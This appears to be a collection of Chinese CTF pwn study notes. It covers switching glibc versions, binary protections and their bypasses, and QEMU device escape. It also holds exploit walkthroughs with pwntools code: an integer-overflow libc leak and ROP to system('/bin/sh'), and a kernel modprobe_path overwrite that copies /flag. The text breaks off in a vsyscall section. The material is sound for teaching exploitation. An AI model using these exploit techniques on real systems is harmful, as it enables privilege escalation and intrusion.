pwn中libc版本切换编译

一、手动编译

1.下载对应libc的源码:以2.32为例:glibc-2.32.tar.gz

(1)官网:https://ftp.gnu.org/gnu/glibc/

(2)清华镜像源:https://mirrors.tuna.tsinghua.edu.cn/gnu/glibc/

2.解压,然后新建文件夹来存储编译结果:

1
2
3
4
5
#注释头

tar -xvf glibc-2.32.tar.gz
mkdir glibc-2.32_build
mkdir glibc-2.32_out

3.编译:

1
2
3
4
5
#注释头

cd glibc-2.32_build
../glibc-2.32/configure '--prefix=/home/hacker/glibc/2.32/glibc-2.32_out --disable-werror --enable-debug=yes'
make

这里的–prefix=****需要一个绝对路径,不能时相对路径,对于pwn来说就好了,不用再接着往下安装了。不过这是64位的,32位得如下:

1
2
3
4
5
6
#注释头

cd glibc-2.32_build
CC="gcc -m32" CXX="g++ -m32" \
../glibc-2.32/configure '--prefix=/home/hacker/glibc/2.32/glibc-2.32_out --disable-werror --enable-debug=yes --host=i686-linux-gnu --build=i686-lin ux-gnu'
make

基本是差不多的。

4.找libc.so 和 ld.so文件:

(1)libc.so 在glibc-2.32_build目录下
(2)ld.so 在glibc-2.32_build/elf 目录下

5.使用:

1
2
3
#注释头

p = process(['/home/hacker/glibc/2.32/glibc-2.32_build/elf/ld.so', './pwn'], env={"LD_PRELOAD":"/home/hacker/glibc/2.32/glibc-2.32_build/libc.so.6"})

这样就可以gdb调试的时候带符号表,然后还有源码:

img

▲关于ld.so的连接使用,最好还是用编译配套的,不然容易出错。如果不需要源码,只需要按照的libc和ld,就可以make install。然后在glibc-2.32_out/lib/下就能找到这两个文件了。

二、对应docker下载:

1.搜对应版本libc对应的ubuntu,比如libc-2.27就对应ubuntu18.04,然后pull下来。

2.然后将对应版本的docker源sources.list拷贝进去,然后我这边自己总结了一份安装脚本,一键运行,省去很多麻烦。(记得先备份一下,防止出错)

1
2
3
4
docker cp sources.list [dockerName]:/etc/apt/
docker cp install.sh [dockerName]:/
chmod a+x install.sh
./install.sh

装完之后基本的环境就有了,pwndbg,python,pwntools等等,其他的自己慢慢安装吧。

▲有个pwn_docker也挺好使的:

1
2
3
#注释头

docker pull pwn_docker

里面运行也类似不同版本的libc:

1
2
3
#注释头 
p
p = process(['/glibc/2.24/64/lib/ld-linux-x86-64.so.2', './pwn'], env={"LD_PRELOAD":"/glibc/2.24/64/lib/libc-2.24.so"})

三、工具使用:LibcSearcher

这个算是最常用了,很好用,直接去github上找很多,外面也有很多教程。

四、patchelf:直接修改ELF文件加载的libc

1.安装:

1
2
3
4
5
6
7
8
9
#注释头

sudo apt-get install autoconf automake libtool
git clone https://github.com/NixOS/patchelf.git
./bootstrap.sh
./configure
make
make check
sudo make install

编译环境啥的都要有

2.使用:

https://github.com/NixOS/patchelf

1
2
3
#注释头

patchelf --set-interpreter /home/hacker/glibc/2.23/64/lib/ld-2.23.so --set-rpath /home/hacker/glibc/2.23/64/lib/ ./pwn

这个可以直接gdb调试,不用再用python打开指定环境。

五、gdb指定源码级别调试:

▲有时候用Patchelf切换之后,想调试对应版本的glibc源码

1.gdb打开后直接命令输入指定:

1
2
3
#注释头

dir /home/hacker/glibc-src/glibc-2.23/malloc

2.gdb环境配置输入:

1
2
3
4
#注释头

vim ~/.gdbinit
dir /home/hacker/glibc-src/glibc-2.23/malloc

但是这有个问题,如果需要对应版本则没办法,只会加载到最下面的版本,所以一般patchelf之后,指定dir即可。

pwn堆-IDA-0x01

▲堆题一般都需要设置下IDA中的结构体:

1.结构体设置:打开IDA-窗口-结构体(alt+4)。

2.编辑-添加结构体类型,然后写名称(insert)。

3.出现新增的struct之后,将鼠标放在该结构体ends位置,按d添加成员。

4.将鼠标放在成员上,按d轮转设置成员大小,按u可删除成员。

5.找到malloc的位置,判断好哪个变量是存放chunk和chunk_size,之后按y将其设置为:

struct struct_Name *array_Name[count]

(一般都是这样的,题目会创建一个数组,每个元素是一个结构体,结构体里有两个数据成员,为chunk和chunk_size,这里的chunk就是Malloc返回的指针。不同题目具体分析,有的也有函数指针的数据成员void * fun_Name())

6.设置增删改查函数的变量类型为void,不然if函数就有的难受了。

7.将判断的成员变量什么的都设置好,按N改名,之后再来分析漏洞,不然很容易混淆。

参考资料:

https://blog.csdn.net/hgy413/category_1151311.html

pwn保护措施

一、RELRO: (ReLocation Read-Only)

1.功能:解决延迟绑定问题,将符号重定向表设置为只读,或者在程序启动时就解析并绑定所有动态符号,防止got表被篡改。

2.表现形式:

pwn checksec检查为RELRO: Full RELRO,Partial RELRO保护

3.保护等级:

(1)Partial RELRO:

①一些段(.dynamic、.got等)在初始化后会被标记只读,.got段代表无plt指向的got表,也就是没有发生延迟绑定,没有被外部extern导入的函数被标记为只读。

②但是有被外部extern导入的函数,发生延迟绑定的函数,在.got.plt段,仍然可以篡改got表,这里的got表是.got.plt段。

(2)Full RELRO:直接禁止延迟绑定,无.got.plt段,只有.got段,且被标记为只读,无法修改,无法篡改got表。

4.绕过方法:有啥绕过方法,不改got表不就完了。

二、FORTIFY_SOURCE:

1.功能:将敏感函数如read, fgets, memcpy, printf等等添加保护,替换为__read_chk, __fgets_chk, __memcpy_chk, __printf_chk等函数。这些带了chk的函数会检查读取/复制的字节长度是否超过缓冲区长度,检查诸如%n之类的字符串位置是否位于可能被用户修改的可写地址,避免了格式化字符串漏洞的出现。(如直接%7$x)

2.表现形式:带有chk的函数,checksec可以检测到

3.保护等级:

(1)-Ol -D_FORTIFY_SOURCE=0:关闭

(2)-Ol -D_FORTIFY_SOURCE=1:替换get,memecpy等,格式化字符串仍然可用

(3)-Ol -D_FORTIFY_SOURCE=2:格式化字符串也受到限制:

%n,%3$x不可用(跳过了1,2不可用)

%n$只能从1开始才可以:%1$x%2$x可用

4.绕过方法:

(1)利用整数溢出漏洞,篡改_IO_FILE结构中的_IO_FLAGS2_FORTIFY为0,从而关闭FORTIFY_SOURCE对%n的检查。之后再利用任意地址写,将nargs篡改为0,从而关闭对%n$的检查。

具体论文:

http://phrack.org/issues/67/9.html

https://jackgrence.github.io/phrack-67-9/

https://www.vnsecurity.net/research/2012/02/16/exploiting-sudo-format-string-vunerability.html

都得挂vpn才能看

三、NX:NX enabled (No execute bit)

1.功能:将内存页以数据和指令两种方式进行了分类。被标记为数据页的内存页(如栈和堆)上的数据无法被当成指令执行,即没有X属性,这样就会导致shellcode失效。除了.text之外,其余段,数据(stack、heap等)都不可执行。

2.表现形式:pwn checksec检查

3.绕过方法:ROP、Onegadget、ret2libc等等

四、ASLR(Address Space Layout Randomization)和PIE(Position Independent Executable)

1.功能:该技术是一个针对堆、栈、libc地址、代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,每次加载程序都会随机化这些地址。

2.表现形式:checksec检查,gdb-peda中输入aslr。

3.不同:

(1)ASLR是系统层面的地址随机,针对栈(stack),libc加载地址,堆(heap),没办法在编译时选择是否开启ASLR,不同系统设置下都不一样,只有在程序跑起来,远程调试才能看到随机化。可以在终端输入:

cat /proc/sys/kernel/randomize_va_space

查看当前系统的随机化等级,也可以打开这个文件进行修改等级。共分为3个等级:

A.0:即关闭ASLR

B.1:部分开启,随机化stack和libc加载地址,不随机化heap

C.2:完全开启,随机化stack、libc加载地址、heap

▲注:

由于是系统层面的,做pwn题时肯定是不知道远程的系统环境到底有没有开启ASLR,一般都是默认开启,且都是2等级。做题做到现在没见过哪个题目告诉不开启ASLR的。另外在gdb-peda中查看aslr都是默认为off,因为gdb默认关闭ASLR,可以在gdb-peda中输入aslr on来打开ASLR。

(2)PIE是gcc编译功能时的选项,针对代码段(.text)、初始化数据段(.data)、未初始化数据段(.bss)的防护技术。开启之后,以上提到的都会随机化,同样也是远程调试跑起来才能看到效果。需要注意的是,只有开启了ASLR之后,PIE才能被正常使用。

4.绕过方法:

(1)利用vsyscall或者vdso来滑过一段栈空间,从而将eip挪移到栈底下方我们想要的地址处。

(2)利用栈溢出和打印函数的参数,修改劫持rbp使得利用rbp寻址的打印函数的参数指向栈上其它位置,通过爆破来寻求泄露Libc地址。

(3)利用PIE机制,爆破倒数第四位可以跳转到同一个内存页中的任意函数。

五、Stack Canary/Stack cookies

1.功能:函数退出时,将保存在栈rbp-0x08处的canary和tcbhead_t结构体中的stack_guard来xor操作,若检查到改变则代表执行了栈溢出漏洞,程序调用__stack_chk_fail,打印错误信息,并崩溃。

2.表现形式:

1
2
3
4
5
6
7
8
9
10
11
#注释头

mov rax,fs:28h
mov [rsp+28h+var_20], rax
------------------------------------------------------
mov rax, [rsp+28h+var_20]
xor rax, fs:28h
call __stack_chk_fail
------------------------------------------------------
v_canary = __readfsqword(0x28u);
return __readfsqword(0x28u) ^ v_canary;

3.不同类型的canary:

(1)Terminator canaries:

最常见的canary,末尾为\x00,保存在rpb - 0x08的位置。

(2).Random canaries:

在程序初始化时随机生成,保存在一个相对安全的位置。通常由/dev/urandom来生成,有时也使用当前时间的哈希值。

(3).Random XOR canaries:

通过一个随机数和函数栈中所有控制信息,返回地址等异或运算得到的,这样当函数栈中的随机数或与之相关的控制信息,返回地址被修改了,都可以检测到。

2.绕过方法:

(1)有循环时,32或者64位程序下都可以逐字节爆破绕过。

(2)可通过printf字符串漏洞来泄露(%p.%p.%p….)。

(3)通过打印栈上数据的打印函数栈溢出连上canary泄露出来。

(4)当程序读入flag进入内存时,利用函数__stack_chk_fail,加上足够长度的栈溢出覆盖argv[0]为程序中保存flag的地址。这样当__stack_chk_fail运行时就会打印出argv[0]中地址上对应的内容,也就是flag。

(5)由pthread创建出来的线程函数中如果有足够长度的栈溢出,可以直接覆盖canary来源tcbhead_t结构体中的canary和栈中的canary为同一数值,这样检查仍旧通过。

(64位中为fs:[28h],32位中为gs:[14h])

▲长度一般为rbp+2000左右,不同的Libc版本都不太一样,需要调试才能知道。原因是通过pthread出来的线程函数栈会被安置到与TLS相差约2000字节的距离处:

img img

这里可以看到,第一个是main函数栈,第二个是在main函数中通过pthread进程创建并且调用的函数栈,两者相差将近0x700000000这么远,完全不是正常的函数调用相差的栈距离。同时在该函数中rbp指向的始终是0000(全是),该函数结束后会先跳转到libc中的libpthread来恢复栈。

▲64位的tcbhead_t结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#注释头

typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;//即为canary,fs:28h处
uintptr_t pointer_guard;
...
} tcbhead_t;

qemu逃逸-pwn解题

一、内存模块:img

1.可以看到在实际物理内存physical memory中存在qemu进程的内存空间

2.之后在qemu进程的内存空间中虚拟化出虚拟主机的实际内存空间Guest’s phy memory。

3.然后才是虚拟主机中各个进程的内存分配。

▲这里可以看到虚拟机中的进程地址都在实际内存地址中有映射,所以如果我们可以找到在虚拟主机中的某个进程对应的实际内存地址,那么一旦满足一定权限要求就可以执行实际内存中qemu进程加载的libc中的内容,从而调用实际内存中的system命令,实现qemu逃逸。

二、逃逸突破口:

▲qemu逃逸一般是从qemu虚拟化设备的代码中寻找漏洞,但是qemu会虚拟化很多设备,在ctf中一般需要关注的就是题目给的PCI设备。基本上都是把qemu-system-x86用IDA打开,然后从和该设备交互的函数中寻找漏洞。

例如分析题目后知道了某个设备可能就是漏洞设备,这里以BlizzardCTF2017-Strng题目为例,加载了strng设备,那么就用IDA打开qemu-system-x86,然后在函数列表搜索strng,找到对应函数进行分析。

img

寻找漏洞就需要更多的前置知识了:

1.寻找到设备的代号,方便查看其设备地址空间:

1
2
3
4
5
6
7
8
9
10
#注释头

ubuntu@ubuntu:~$ lspci
00:00.0 Host bridge: Intel Corporation 440FX - 82441FX PMC [Natoma] (rev 02)
00:01.0 ISA bridge: Intel Corporation 82371SB PIIX3 ISA [Natoma/Triton II]
00:01.1 IDE interface: Intel Corporation 82371SB PIIX3 IDE [Natoma/Triton II]
00:01.3 Bridge: Intel Corporation 82371AB/EB/MB PIIX4 ACPI (rev 03)
00:02.0 VGA compatible controller: Device 1234:1111 (rev 02)
00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10)
00:04.0 Ethernet controller: Intel Corporation 82540EM Gigabit Ethernet Controller (rev 03)

这里可以看到00:03.0 Unclassified device [00ff]: Device 1234:11e9 (rev 10),一般标记为unclassified device就是qemu启动时的命令参数中加载进入的设备,也就是strng设备。那么其对应的代号就是00:03.0,之后通过这个代号查询更多内容。

2.查看PCI设备的地址空间,从而方便推断出设备实际申请的内存地址:

(1)通过设备代号,找到该设备的地址空间,可以用以下命令查看:

1
2
3
4
5
6
7
8
9
#注释头

lspci -v -m -n -s 00:03.0
-------------------------------------------------------------------------
lspci -v -m -s 00:03.0
-----------------------------------------------------------------------
lspci -v -s 00:03.0 -x
------------------------------------------------------------------------
hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config

(2)通过地址空间找到该设备申请的内存空间:

img

1
2
3
4
5
6
7
#注释头

ubuntu@ubuntu:~$ hexdump /sys/devices/pci0000\:00/0000\:00\:03.0/config
0000000 1234 11e9 0103 0000 0010 00ff 0000 0000
0000010 1000 febf c051 0000 0000 0000 0000 0000
0000020 0000 0000 0000 0000 0000 0000 1af4 1100
0000030 0000 0000 0000 0000 0000 0000 0000 0000

这里通过对照,可以知道以上各个参数的实际内容。

(3)然后寻找mmio和pmio的地址,这两个是PCI设备为了与qemu虚拟机进行I/O申请所映射的两块内存。由于qemu模拟设备最终都会与真实的设备进行交互,而qemu中的mmio就是相对于主机下的mmio的一段映射,所以访问这段空间就相当于访问主机下的mmio空间,那么就能跳出qemu,实现qemu逃逸。而PCI设备的大多的读写操作都在这两块内存上,所以针对这两块内存的操作函数通常也是最容易出现漏洞的地方。

①mmio:与内存共享一块地址空间,共用一定数量的地址总线,cpu对该地址空间的访问会直接转化为对设备的访问。

②pmio:与内存分开的,所用的地址总线和内存所用的地址总线不是一样的,cpu访问这块内存时需要使用特殊的指令进行访问。

这两块内存是在BAR(base address register)中,BAR总共6个register,BAR0,BAR1…,每个BAR占据4个字节。而mmio对应BAR0,pmio对应BAR1。

▲结合上图可以看到mmio的地址为0xfebf1000,pmio地址为0xc051。

3.查看PCI设备初始化的函数,寻找漏洞:

(1)首先查看注册strng设备的函数:这里分析可以知道strng_class_init即为初始化函数:
img

object_class_dynamic_cast_assert函数即创建了一个设备,后面的一些操作都是赋值语句,为了初始化该设备。

(2)然后查看strng_instance_init函数,该函数是为了实例化设备,初始化设备的结构体,这个结构体可以在IDA中看到:

img

函数:

img

这样可以看到创建了mmio和pmio空间,大小分别为0x100和0x8。

(3)现在查看对这两个空间的操作函数,这才是重点。但是需要注意的是,在这道题目中调用对mmio和pmio进行读写操作的函数时,并没有对mmio或者pmio空间进行读写操作,取而代之的是对reg数组进行读写操作。

▲原因是以下结构体的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
//注释头

typedef struct {
PCIDevice pdev;
MemoryRegion mmio; //mmio内存空间
......
} STRNGState;

static const MemoryRegionOps strng_mmio_ops = { //mmio空间对应的操作
.read = strng_mmio_read, //对mmio空间的read由strng_mmio_read实现
.write = strng_mmio_write, //对mmio空间的write由strng_mmio_write实现
.endianness = DEVICE_NATIVE_ENDIAN,
};

原本在c语言中exp的接口函数中为:

1
2
3
4
5
#注释头

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
-----------------------------------------------------------------------------
*((uint32_t*)(mmio_mem + addr)) = value;

对mmio和pmio空间的操作函数就会执行.read和.write函数,但是结构体由于重新将.read函数和.write定位成了strng_mmio_read和strng_mmio_write函数,这个操作某种程度上相当于修改了两个函数的got表。之后就相当于正常的pwn题了,就是利用这几个读写函数中的漏洞,最终执行system(“cat /root/flag.txt”)即可。

三、调用mmio_read和mmio_write函数

在strng中,这两个函数就是strng_mmio_read和strng_mmio_write函数。

1.对mmio空间操作,进而调用strng_mmio_read和strng_mmio_write函数:

正常写c语言的exp编译之后,放到qemu中运行,就能通过PCI设备号从而得到mmio地址:/sys/devices/pci0000:00/0000:00:04.0/resource0。然后通过该地址和特定函数就能访问到mmio空间,跳出qemu到主机的mmio空间。

①用户态访问,正常pwn题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
//注释头

#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>

unsigned char* mmio_mem;

void die(const char* msg)
{
perror(msg);
exit(-1);
}

void mmio_write(uint32_t addr, uint32_t value)
{
*((uint32_t*)(mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr)
{
return *((uint32_t*)(mmio_mem + addr));
}


int main(int argc, char *argv[])
{

// Open and map I/O memory for the strng device
int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);//这里需要获取到mmio的地址
if (mmio_fd == -1)
die("mmio_fd open failed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
if (mmio_mem == MAP_FAILED)
die("mmap mmio_mem failed");

printf("mmio_mem @ %p\n", mmio_mem);

mmio_read(0x128);
mmio_write(0x128, 1337);

}

②内核态访问:不太知道有啥用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//注释头

#include <asm/io.h>
#include <linux/ioport.h>

long addr=ioremap(ioaddr,iomemsize);
readb(addr);
readw(addr);
readl(addr);
readq(addr);//qwords=8 btyes

writeb(val,addr);
writew(val,addr);
writel(val,addr);
writeq(val,addr);
iounmap(addr);

2.对pmio空间操作,进而调用strng_pmio_read和strng_pmio_write函数:

①用户态访问:

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

#include <sys/io.h >

iopl(3);//需要先申请访问端口
inb(port);
inw(port);
inl(port);

outb(val,port);
outw(val,port);
outl(val,port);

②内核态访问:也不太清楚有啥用

1
2
3
4
5
6
7
8
9
10
11
12
//注释头

#include <asm/io.h>
#include <linux/ioport.h>

inb(port); //读取一字节
inw(port); //读取两字节
inl(port); //读取四字节

outb(val,port); //写一字节
outw(val,port); //写两字节
outl(val,port); //写四字节

3.然后就能调用到qemu中关于mmio和pmio的read,write函数了,从而挖掘漏洞,跳出qemu。

shadow-IntergerOverflow-Nice

1.常规checksec,开了NX,FULL RELRO,Canary,没办法shellcode,修改got表。然后IDA打开找漏洞:

(1)整数转换漏洞:

输入message_length之后将长度返回进行atoi,将atoi的返回值给到下一个输入message的getline。中间用atoi进行了一个字符串转int的操作,而atoi是一个将数字型字符串转成数字的函数,”-1”可以转换为-1。但是getline中read的长度参数是size_t,相当于是unsigned int,是一个无符号数。

▲而int的表达方式是:02147483647(00x7fffffff) -2147483648-1(0x800000000xffffffff)

unsigned的表达方式是:04294967295(00xffffffff)

那么int的-1转换成unsigned之后就会变成0xffffffff,从而溢出。

▲由于程序实现了自定义的pop,push,ret,call等几个控制栈帧的汇编代码,所以这里的漏洞不太好找,汇编不太好的只能先慢慢调试验证猜想是否正确。

(2)栈溢出:栈溢出是从整数转换漏洞中来的,由于message是保存在message函数栈上的,所以就如果将read的长度参数变得很大,就可以栈溢出。

▲这里的栈溢出和平常栈溢出有点不同,而且还开了canary,照理说这个栈溢出没什么用,但是这里的Message是一个循环,只要message函数不退出,那么就不会触发canary的检查,就算栈溢出了,那也得等到message函数退出程序才会崩溃。

2.现在只有两个漏洞,但是看程序F5大法啥也看不出来,看汇编吧:

(1)输入name的call getline:

img

(2)输入长度的call getline:

img

(3)输入message的call getline:

img

可以看到,输入message和name的getline中保存数据的参数不一样,

保存name的参数是:[ebp+arg_0]

保存message的参数是:[ebp+var-2c]

再看一下这两个参数的定义:

arg_0 = dword ptr 8

var_2C = byte ptr -2Ch

可以看到name保存在ebp的下方,不在message的函数栈,但是message保存在ebp上方,在message函数栈中。

3.那么现在思考下攻击思路。先输入-1执行栈溢出漏洞,将message函数栈下方的保存name的内容更改为某函数的got表,这样在打印name时就可以将该函数打印出来。

(这里能打印的原因是printf的传参关系,这里能看到,name和message传参所用指令不同:img

name是mov指令,是直接将ebp+arg_0上的内容传给eax

message是lea指令,是将ebp+var_2c这个栈地址传给edx

那么显而易见,ebp+arg_0上保存的肯定是一个栈地址,这个栈地址上的内容才是name的真实内容。所以如果我们覆盖ebp+arg_0上的内容为got表,那么再打印就是取got表中的内容打印,也是函数真实地址。)

从而泄露出libc基地址。之后再执行栈溢出,覆盖返回地址为ROP链来getshell。但是这里有一个问题,由于程序自定了某些汇编函数,并且在调试过程中发现用程序的call来调用的函数,返回地址不再是原来call函数的下一句代码,而是一个restore_eip函数。因为在leave和ret指令执行前,执行了call ret,修改了某些东西,导致原本ebp下面不再是函数的返回地址了。并且由于是传指针,就算栈溢出,溢出的也只能是message函数栈,那有canary的情况下,溢出也没有什么意义。但是其它函数返回地址则是直接跳转到ret_stub函数,而这个ret_stub函数是保存在栈上的。

4.这里就想到printf函数,由于name会被打印出来,并且调试可以发现,将name总共16字节顶满后会连上一个17F79D79,之后是两个retn的地址,再之后就是一个栈地址,这几个数据都没有\x00结束字符,所以可以被printf连在一起打印出来:

img

那么可以考虑将name顶满后连上ebp泄露出栈地址,之后找到保存read返回地址的栈地址,将写入name的栈地址更改为保存read返回地址的栈地址。之后我们再往name中写东西,就相当于覆盖read函数的返回地址。再经过反复调试,发现read函数返回地址取用的地方刚好是FFF25c3c-0x100,而且每次都是那个地址,那么就可以覆盖了。(这里利用输入message连上ebp也可以泄露出message的ebp上保存的内容,也是相同的栈地址,调试出来的)

5.现在就尝试编写exp:

(1)首先三个函数:

1
2
3
4
5
6
7
8
9
10
11
#注释头

def setName(name):
io.sendafter('Input name :',name)

def setMessage(message):
io.sendlineafter('Message length :','-1')
io.sendafter('Input message :',message)

def changeName(c):
io.sendlineafter('Change name?',c)

(2)通过填满name,泄露一个栈地址:

1
2
3
4
5
6
7
8
9
#注释头

setName('A'*0x10)
setMessage('BBBBBBBBBB')
sh.recvuntil('<')
sh.recv(0x1C)
stack_addr = u32(sh.recv(4))
changeName('n')
log.info("stack_addr:%x"%stack_addr)

(3)泄露函数真实地址:

1
2
3
4
5
6
7
8
#注释头

payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
#这里第一个p32(0x100)是覆盖getline的读取长度,也就是arg_4,第二个是为了覆盖循环次数,也就是arg_8
setMessage(payload)
sh.recvuntil('<')
atoi_addr = u32(sh.recv(4))
log.info("atoi_addr:%x"%atoi_addr)

获取name的长度:当然这改掉的是name的长度,message的长度保存在[ebp+var_30]上,并且因为-1已经被更改为0xffffffff,足够大了。

img

判断循环次数:

img

(4)计算得到libc中其它地址:

1
2
3
4
5
6
#注释头

libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

(5)将写入name的地方覆盖成读取read函数返回地址的地方:

1
2
3
4
#注释头

payload = 'a'*0x34 + p32(target_addr)
setMessage(payload)

(6)再次读取name的时候就可以发送rop链:

1
2
3
4
#注释头

rop = p32(system_addr) + p32(0) + p32(binsh_addr)
setName(rop)

(7)最后getshell:

▲这个exp在不同的glibc版本下不太一样,2.23/2.24/2.27都能跑通,但是在2.31/2.32版本下没办法跑通,尤其是2.31,连栈地址都没办法泄露。2.32则是在最后一步会失败,不知道为什么。可能是canary的原因,不同版本的canary检查机制好像不一样。

starctf2019-hackme

1.首先解包,看init,空的。

2.然后看启动脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

qemu-system-x86_64 \
-m 256M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-initrd initramfs.cpio \
-smp cores=4,threads=2 \
-gdb tcp::1234 \
-cpu qemu64,smep,smap 2>/dev/null

比较正常,开了smep和smap,并且4内核,2线程,这里就可能会是条件竞争的考点。

3.然后拖入IDA分析:程序比较检查,类似菜单题,但是IDA中F5看伪代码中多了很多的奇怪的参数,最好以add->delete->edit->read的顺序来看比较舒服,一般的堆体分析结构也差不多怎么看。

首先判断下结构体:

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

dataStruct:
idx 4byte
padding 4byte
data_ptr 8byte
data_size 8byte
offset 8byte

struct chunkNote:
chunk_addr 8byte
chunk_size 8byte

其中pool中存储多个chunkNote结构体,不是指针,而是结构体。

(1)add:没什么特别的,创建堆块,拷贝数据,存储chunk到pool中

img

(2)delete:也没啥问题,释放内存,指针置空。

img

(3)edit:有点问题,这里判断了chunk指针是否存在,并且offset+size要小于等于之前保存的size。

img

本来没啥,但是这里offset和size是int类型,可以为负数,那么就可以依据chunk_addr来向上修改数据了,相当于越界写。

img

(4)read:同样的,也相当于越界读:

img

▲虽说是越界写和越界读,但是由于copy系列函数,如果我们想往高地址读写的话,(内核系列函数都在高地址)offset一定需要很大,然后又要满足小于size,那么userDataSize势必要设置为负数,负数转换成unsigned long就会变得很大,基本就会导致一半的空间被覆盖,那么程序指定崩盘,所以这里还是申请pool全局变量处来进行任意读写比较好。

另外也由于slub的特性,简单修改fd的话,虽然能够任意申请,但是如果fd的内存处保存的内容是个非法的,再次申请该大小的chunk程序就会崩,所以有全局变量pool就用pool。

4.思考一下漏洞怎么利用。

(1)首先需要地址

①堆地址:释放chunkA,从chunkB向上偏移读取chunkA的fd,即可得到指向的chunkC的地址,即chunkA.fd = chunkA_addr+size*2。

②内核基地址:依据任意读,从第一个chunk往上的地方读取chunk中的内容,从中筛选出vmlinux中的地址,读取之后减去偏移,即可得到内核基地址。

img

例如这里就可以读取图中的0xffffffff81849ae0,然后减去0x849ae0即可得到基地址。当然这没有用kalsr的效果。开了之后如下,偏移也是一样的。

img

得到这次打开的基地址:0xffffffff9de00000,用命令检查一下:

img

可以看到最前面的就是内核基地址。

③函数基地址:

cat /proc/kallsyms|grep commit_creds

img

从kallsyms中可以查看到所有函数,减去原始基地址0xFFFFFFFF81000000再加上随机化的内核基地址就是随机化之后的函数地址了。比如上例为:

0xffffffff8104d220-0xFFFFFFFF81000000+0xffffffff9de00000=0xffffffff9de4d220

得到运行了kaslr的函数地址。

④模块基地址:由于需要pool变量地址,所以模块的基地址肯定也需要,这里利用mod_tree来获取。mod_tree包含了所有装载的Mod的基地址。

img

img

可以看到hackme模块的基地址也包含在里面,开了kaslr之后也是一样的。所以我们利用内核基地址得到mod_tree的地址,申请下来就可以从里面读出hackme模块的基地址。

(2)然后方法就很多了,虽然开了smep,smap,kaslr:

①修改modprobe_path:

img

img

可以看到modprobe_path指向一个二进制文件

img

而当某个特定错误发生时,就会运行该二进制文件,且是以root权限运行的,(我尝试过,运行/bin/sh不能提权)所以如果我们把路径改成我们的二进制文件,将flag复制一下,改下权限就能打开了。(直接cat flag也不行,很奇怪)

img

我们的二进制文件下只能类似是如下命令才行的:

1
2
3
4
5
6
7
8
9
10
#注释头

#!/bin/sh
/bin/cp /flag /home/pwn/flag
/bin/chmod 777 /home/pwn/flag


#或者
#!/bin/sh
/bin/cat /flag > /home/pwn/flag.txt

注意要使用绝对路径。

▲然后触发这个特定类型的错误需要一个错误格式的二进制文件:

1
2
3
4
#注释头

system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

这个elf的错误格式就是\xff\xff\xff\xff,或者其他错误格式也行。

1
2
3
4
5
6
7
8
9
10
11
12
#注释头

strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");

vsdo和vsyscall的前世今生

一、vsyscall:一般只有ubuntu16.04,libc-2.23中有了。

1.vsyscall的作用:

现代的Windows/*Unix操作系统都采用了分级保护的方式,内核代码位于R0,用户代码位于R3。许多对硬件和内核等的操作都会被包装成内核函数并提供一个接口给用户层代码调用,这个接口就是我们熟知的int 0x80/syscall+调用号模式。当我们每次调用这个接口时,为了保证数据的隔离,我们需要把当前的上下文(寄存器状态等)保存好,然后切换到内核态运行内核函数,然后将内核函数返回的结果放置到对应的寄存器和内存中,再恢复上下文,切换到用户模式。这一过程需要耗费一定的性能。对于某些系统调用,如gettimeofday来说,由于他们经常被调用,如果每次被调用都要这么来回折腾一遍,开销就会变成一个累赘。因此系统把几个常用的无参内核调用从内核中映射到用户空间中,这就是vsyscall。

2.vsyscall的特点:

(1)某些版本存在,需要用到gdb来查看,IDA中默认不可见。

(2)地址不受到ASLR和PIE的影响,固定是0xffffffffff600000-0xffffffffff601000。

(3)不能从中间进入,只能从函数开头进入,意味着不能直接调用里面的syscall。这里vsyscall分为三个函数,从上到下依次是

1
2
3
4
5
#注释头

A.gettimeofday: 0xffffffffff600000
B.time: 0xffffffffff600400
C.getcpu: 0xffffffffff600800

(4)gettimeofday函数执行成功时返回值就是0,保存在rax寄存器中。这就为某些one_gadget创造了条件。

(5)有R,X权限,但是没有W权限,不可写,不能进行shellcode布置。

(6)只有三个系统调用的函数,其余内存都以”int3”指令填充。

3.vsyscall的利用:

(1)调整栈帧,下拉rsp:

